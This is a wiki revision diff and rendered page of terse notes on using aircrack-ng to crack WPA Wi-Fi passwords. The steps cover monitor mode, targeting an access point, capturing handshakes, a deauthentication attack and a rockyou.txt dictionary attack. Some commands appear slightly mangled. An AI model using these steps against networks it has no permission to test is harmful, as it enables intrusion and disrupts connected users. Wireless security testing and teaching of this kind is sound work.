Difference between revisions of "Aircrack-ng"

From Bitnami MediaWiki
Jump to navigation Jump to search
(Created page with "==Basics== 1. Start the interface airmon-ng start <wlan1 or iface name> 2. Check for local networks airodump-ng <network interface> 3. Isolate a specific AP airodump-ng...")
 
 
(3 intermediate revisions by the same user not shown)
Line 1: Line 1:
 
==Basics==
 
==Basics==
−
1. Start the interface
+
1. Start the interface in monitor mode
 
  airmon-ng start <wlan1 or iface name>
 
  airmon-ng start <wlan1 or iface name>
  
 
2. Check for local networks
 
2. Check for local networks
−
  airodump-ng <network interface>  
+
  airodump-ng <network iface>  
  
 
3. Isolate a specific AP  
 
3. Isolate a specific AP  
−
  airodump-ng <network interface> --bssid <AP MAC address>
+
  airodump-ng <network iface> --bssid <AP MAC address or ESSID>
  
−
4.
+
4. Capture handshake packets
 +
airodump-ng -c <channel> --bssid <AP> <network iface> -w <path>
 +
 
 +
The run de-auth attack:
 +
aireplay-ng -a <BSSID of AP> --deauth <time> <network iface>
 +
Check airodump scan. You should see `WPA handshake: <MAC addr>`. Once verified, stop replay attack and `airodump-ng` scan.
 +
 
 +
5. Try to find a match:
 +
aircrack-ng -01.cap -w /usr/share/wordlists/rockyou.txt

Latest revision as of 16:50, 7 January 2024

Basics[edit]

1. Start the interface in monitor mode

airmon-ng start <wlan1 or iface name>

2. Check for local networks

airodump-ng <network iface> 

3. Isolate a specific AP

airodump-ng <network iface> --bssid <AP MAC address or ESSID>

4. Capture handshake packets

airodump-ng -c <channel> --bssid <AP> <network iface> -w <path> 

The run de-auth attack:

aireplay-ng -a <BSSID of AP> --deauth 

Check airodump scan. You should see `WPA handshake: <MAC addr>`. Once verified, stop replay attack and `airodump-ng` scan.

5. Try to find a match:

aircrack-ng -01.cap -w /usr/share/wordlists/rockyou.txt